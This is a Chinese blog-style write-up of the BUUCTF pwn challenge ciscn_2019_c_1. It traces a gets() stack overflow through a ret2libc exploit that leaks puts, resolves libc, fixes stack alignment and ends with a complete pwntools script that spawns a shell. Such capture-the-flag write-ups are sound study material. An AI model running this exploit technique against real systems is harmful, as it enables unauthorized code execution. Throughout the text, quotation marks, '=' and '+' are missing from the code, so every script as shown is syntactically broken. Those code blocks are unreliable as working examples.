逆向分析实战:我是如何一步步‘拆解’BUUCTF那道ciscn_2019_c_1题的
逆向工程探秘从零破解BUUCTF ciscn_2019_c_1的完整思维历程那天深夜当我第一次打开这个名为ciscn_2019_c_1的二进制文件时屏幕的蓝光映照着我充满好奇的脸庞。作为一名刚踏入二进制安全领域的新手这道BUUCTF的Pwn题就像一扇神秘的大门等待着我去推开。本文将完整记录我破解这道题目的全过程包括那些走错的岔路和灵光乍现的瞬间。1. 初识目标信息收集与初步分析逆向工程就像侦探破案第一步永远是收集尽可能多的线索。我把这个神秘的二进制文件拖进Linux虚拟机开始我的调查工作。首先用file命令查看文件类型$ file ciscn_2019_c_1 ciscn_2019_c_1: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]..., not stripped关键信息一目了然64位ELF可执行文件动态链接未去除符号表(not stripped)接着用checksec检查保护机制$ checksec --fileciscn_2019_c_1 [*] /home/user/ciscn_2019_c_1 Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)保护机制分析NX enabled堆栈不可执行No canary没有栈溢出保护No PIE代码段地址固定这些信息已经足够让我兴奋——没有栈保护意味着可能存在栈溢出漏洞而NX开启则提示我们需要更巧妙的利用方式。2. 深入程序逻辑静态分析与动态调试用IDA Pro打开这个二进制文件我首先定位到main函数。程序显示了一个加密机菜单有三个选项Encrypt加密Decrypt解密Exit退出选择1会进入encrypt函数这里发现了关键线索.text:00000000004009D1 lea rax, [rbps] .text:00000000004009D5 mov rdi, rax .text:00000000004009D8 mov eax, 0 .text:00000000004009DD call _gets危险函数gets()赫然在目这个不检查输入长度的函数是典型的栈溢出漏洞来源。结合之前checksec显示的No canary found栈溢出利用的可能性大大增加。为了验证这个猜想我写了一个简单的fuzz测试from pwn import * p process(./ciscn_2019_c_1) p.sendlineafter(choice!, 1) p.sendline(A*200) print(p.recvall())不出所料程序崩溃了这证实了栈溢出的存在。但如何将这个崩溃转化为有效的攻击呢3. 漏洞利用的十字路口多种思路的探索与排除在二进制漏洞利用中栈溢出可以衍生出多种攻击路径。面对这道题目我系统地评估了各种可能性3.1 ret2text直接跳转到已有代码首先检查程序中是否有现成的system(/bin/sh)或类似代码$ objdump -d ciscn_2019_c_1 | grep -A5 system搜索结果为空此路不通。3.2 ret2shellcode执行自定义shellcode虽然发现了栈溢出但checksec显示NX enabled意味着栈上的代码不可执行。尝试注入shellcode会触发段错误。3.3 ret2syscall构造系统调用使用ROPgadget查找系统调用指令$ ROPgadget --binary ciscn_2019_c_1 | grep syscall没有找到可用的syscall指令这个方法也行不通。3.4 ret2libc利用动态链接库函数这是剩下的唯一选择。由于程序是动态链接的我们可以尝试泄露libc函数地址然后计算system函数的位置。关键思路泄露某个已知函数如puts的真实地址根据libc版本确定偏移量计算system函数和/bin/sh字符串的地址构造ROP链调用system(/bin/sh)4. 构建攻击链从信息泄露到getshell4.1 信息泄露获取puts函数真实地址首先需要找到程序中可用的gadget。我们需要一个能控制rdi寄存器第一个参数的gadget$ ROPgadget --binary ciscn_2019_c_1 | grep pop rdi 0x0000000000400c83 : pop rdi ; ret完美有了这个gadget我们可以构造payload调用puts函数来泄露其真实地址。完整的泄露代码如下from pwn import * context.log_level debug p process(./ciscn_2019_c_1) elf ELF(./ciscn_2019_c_1) pop_rdi 0x400c83 puts_plt elf.plt[puts] puts_got elf.got[puts] main_addr 0x400B28 # 第一次交互泄露puts地址 p.sendlineafter(choice!, 1) payload bA*88 p64(pop_rdi) p64(puts_got) p64(puts_plt) p64(main_addr) p.sendline(payload) # 接收泄露的地址 p.recvuntil(encrypted\n) puts_addr u64(p.recvline().strip().ljust(8, b\x00)) log.info(fputs address: {hex(puts_addr)})4.2 确定libc版本定位关键函数偏移有了puts的真实地址我们需要确定libc版本以计算system函数的偏移。这里使用LibcSearcherfrom LibcSearcher import * libc LibcSearcher(puts, puts_addr) libc_base puts_addr - libc.dump(puts) system_addr libc_base libc.dump(system) bin_sh_addr libc_base libc.dump(str_bin_sh)4.3 最终攻击调用system(/bin/sh)构造最终的ROP链时我发现了一个关键问题——栈对齐。在x86_64架构下调用函数时栈指针必须16字节对齐。经过调试我找到了解决方案在调用system前加一个ret指令来调整栈指针。完整攻击代码# 第二次交互getshell p.sendlineafter(choice!, 1) ret_addr 0x4006b9 # 单纯的ret指令地址 payload bA*88 p64(pop_rdi) p64(bin_sh_addr) p64(ret_addr) p64(system_addr) p.sendline(payload) p.interactive()5. 技术细节解析栈对齐与ROP构造的艺术在最终的攻击中ret_addr的使用是一个关键技巧。这是因为x86_64架构的System V ABI规定在函数调用时栈指针(RSP)必须16字节对齐CALL指令会自动将8字节的返回地址压栈因此调用前的RSP应该满足RSP % 16 8我们的ROP链在执行到system时栈指针状态如下原始溢出填充88字节pop rdi指令弹出8字节到rdibin_sh_addr8字节参数ret_addr调整栈指针这样当执行到system时栈指针就正确对齐了。如果不这样做在某些libc版本中会导致崩溃。6. 完整攻击脚本与实战演示将上述所有步骤整合最终的自动化攻击脚本如下from pwn import * from LibcSearcher import * context.binary ./ciscn_2019_c_1 context.log_level debug def exploit(): # 初始化 p process(./ciscn_2019_c_1) elf ELF(./ciscn_2019_c_1) # Gadgets和函数地址 pop_rdi 0x400c83 ret_addr 0x4006b9 puts_plt elf.plt[puts] puts_got elf.got[puts] main_addr 0x400B28 # 第一阶段泄露puts地址 p.sendlineafter(choice!, 1) payload flat([ bA*88, pop_rdi, puts_got, puts_plt, main_addr ]) p.sendline(payload) # 解析泄露的地址 p.recvuntil(encrypted\n) puts_addr u64(p.recvline().strip().ljust(8, b\x00)) log.info(fLeaked puts address: {hex(puts_addr)}) # 确定libc版本并计算关键地址 libc LibcSearcher(puts, puts_addr) libc_base puts_addr - libc.dump(puts) system_addr libc_base libc.dump(system) bin_sh_addr libc_base libc.dump(str_bin_sh) log.info(fsystem {hex(system_addr)}) log.info(f/bin/sh {hex(bin_sh_addr)}) # 第二阶段getshell p.sendlineafter(choice!, 1) payload flat([ bA*88, pop_rdi, bin_sh_addr, ret_addr, # 栈对齐 system_addr ]) p.sendline(payload) # 享受shell p.interactive() if __name__ __main__: exploit()运行这个脚本我成功获取了目标系统的shell。那一刻的成就感至今难忘。这道题目教会我的不仅是技术更是一种系统性的漏洞分析思维——从信息收集到多种可能性的评估再到最终的漏洞利用每一步都需要严谨的思考和验证。在逆向工程的世界里每一个二进制文件都是一个等待解开的谜题而解题的过程本身就是最好的学习。希望我的这次探索经历能为同样对二进制安全感兴趣的你提供一些启发和帮助。记住最重要的不是最终的答案而是那个不断尝试、不断思考的过程。